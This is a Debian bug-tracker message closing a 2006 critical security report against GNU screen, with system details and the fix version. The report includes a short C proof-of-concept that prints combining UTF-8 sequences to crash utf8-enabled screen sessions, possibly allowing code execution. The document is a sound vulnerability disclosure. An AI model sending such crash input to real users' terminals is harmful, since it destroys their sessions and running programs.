Your message dated Sun, 29 Oct 2006 23:10:31 +0100
with message-id <[EMAIL PROTECTED]>
and subject line Closing with proper version header
has caused the attached Bug report to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what I am
talking about this indicates a serious mail system misconfiguration
somewhere.  Please contact me immediately.)

Debian bug tracking system administrator
(administrator, Debian Bugs database)

--- Begin Message ---
Package: screen
Version: 4.0.2-4.1
Severity: critical
Tags: security
Justification: breaks unrelated software


The following proof-of-concept exploit (by dalias @ #screen on
freenode.net, realname not known, probably (hopefully) he's one of the
guys credited in the upstream security announcement) will crash a
screen session with utf8 enabled. (:utf8 on, :defutf8 on)

#include <locale.h>
#include <wchar.h>
#include <stdio.h>
int main() {
 setlocale(LC_CTYPE, "");
 wchar_t i, j, k; for (i=' '; i<0x7f; i++) for (j=0x300; j<0x370; j++) 
for(k=0x300; k<0x370; k++) printf("%lc%lc%lc", i, j, k); }

A workaround is to disable utf8. ("defutf8 off" in screenrc)

Upstream security announcement is at 
http://lists.gnu.org/archive/html/screen-users/2006-10/msg00028.html

The whole screen session with all programs running in it will get lost
(hence: "breaks unrelated software") and this can be triggered by any
software sending utf-8 characters to the terminal (such as a console
mail or news reader or irc client).

This is a *possible* remote code execution, because in the debugger
some registers are reportedly overwritten.

Kind regards
     Friedel
-- System Information:
Debian Release: testing/unstable
  APT prefers unstable
  APT policy: (990, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 
'experimental')
Architecture: i386 (i686)
Shell:  /bin/sh linked to /bin/bash
Kernel: Linux 2.6.18-1-k7
Locale: LANG=de_DE.utf8, LC_CTYPE=de_DE.utf8 (charmap=UTF-8) (ignored: LC_ALL 
set to de_DE.utf8)

Versions of packages screen depends on:
ii  base-passwd                 3.5.11       Debian base system master password
ii  debconf                     1.5.7        Debian configuration management sy
ii  libc6                       2.3.6.ds1-7  GNU C Library: Shared libraries
ii  libncursesw5                5.5-5        Shared libraries for terminal hand
ii  libpam0g                    0.79-4       Pluggable Authentication Modules l
ii  passwd                      1:4.0.18.1-5 change and administer password and

screen recommends no packages.

-- debconf information:
  screen/old_upgrade_prompt: false


--- End Message ---
--- Begin Message ---
Version: 4.0.3-0.1

# Closing versioned, so that it's properly tracked for testing

--- End Message ---

Reply via email to